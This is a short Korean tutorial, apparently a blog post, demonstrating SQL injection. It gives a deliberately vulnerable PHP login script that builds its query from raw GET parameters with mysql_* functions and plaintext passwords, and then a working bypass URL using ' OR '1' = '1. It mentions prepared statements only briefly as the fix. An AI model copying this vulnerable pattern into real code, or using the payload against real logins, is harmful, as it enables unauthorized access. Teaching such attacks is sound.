소스코드 sqlInjection.php
<? $id = "디비 아이디"; $pwd = "디비 비밀번호"; $db_name = "디비 명"; $connect = mysql_connect('localhost', $id, $pwd) or die( "Unable to connect to SQL server"); mysql_select_db($db_name,$connect) or die( "Unable to select database"); mysql_query('set names utf8',$connect); $username = $_GET['username']; $password = $_GET['password']; $sql = "SELECT count(*) FROM Users WHERE Username = '$username' AND Password = '$password'"; // $sql = "SELECT count(*) FROM Users WHERE Username = '1' or '1' = '1' AND Password = '1' or '1' = '1'"; $result = mysql_query($sql); $count = mysql_result($result, 0, 0); echo "$sql<br/><br/>"; echo "결과는 = ".$count; ?>
테이블 SQL
CREATE TABLE IF NOT EXISTS `Users` ( `Username` varchar(255) NOT NULL, `Password` varchar(255) NOT NULL );
PHP 에서 SQLInjection 성공시키기위해선 싱글 쿼터에 주의 하여야한다. 최종적으로 아래와 같은 SQL 니 나와야 한다. 위 소스코드 상에서 보듯이 &username 과 $password 은 싱글쿼터로 되어있으므로 GET 요청시 아래와 같이 적어준다.
sqlInjection.php?username=1' OR '1' = '1&password=1' OR '1' = '1
OR 연산자를 통해 '1' = '1' 이 라면 언제나 참 값을 반환한다. Jsp 의 prepared sql 을 쓴다면 괜찮다.
http://www.w3schools.com/sql/sql_injection.asp